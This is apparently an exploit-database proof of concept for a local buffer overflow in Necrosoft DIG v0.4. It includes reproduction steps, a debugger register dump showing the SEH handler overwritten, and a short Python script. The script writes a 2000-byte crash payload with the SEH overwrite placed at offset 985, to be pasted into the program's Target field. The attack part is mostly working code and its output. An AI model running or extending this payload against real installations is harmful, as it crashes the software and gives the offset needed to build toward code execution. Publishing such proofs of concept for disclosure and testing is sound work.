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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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# Exploit Title: Necrosoft DIG v0.4 - Denial of Service (PoC) SEH overwritten Crash PoC
# Discovery by: Rafael Pedrero
# Discovery Date: 2005-01-10
# Vendor Homepage: http://www.nscan.org/?index=dns
# Software Link : http://www.nscan.org/?index=dns
# Tested Version: 0.4
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run Necrosoft DIG v0.4 (dig.exe)
# 2.- copy content DIG_Crash.txt to clipboard (result from this python script)
# 3.- Paste the content into the field: 'Target'
# 4.- Click 'TCP lookup' button and you will see a crash.


'''
SEH chain of thread 000003CC
Address    SE handler
00D9FF08   43434343
42424242   *** CORRUPT ENTRY ***


EAX 0000000E
ECX 000004D2
EDX 000004E0
EBX 00000041
ESP 00D9FACC
EBP 0012FB60
ESI 00D9FB20
EDI 009284C5 ASCII
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EIP 004036B2 DIG.004036B2
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 1  FS 003B 32bit 7FFDB000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010286 (NO,NB,NE,A,S,PE,L,LE)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1


'''

#!/usr/bin/env python

junk = "\x41" * 985
crash = junk + "BBBB" + "CCCC" + "\x41" * (2000 - 985 - 4 - 4)
print "SEH overwritten Crash, full payload length =",len(crash)
f = open ("DIG_Crash.txt", "w")
f.write(crash)
f.close()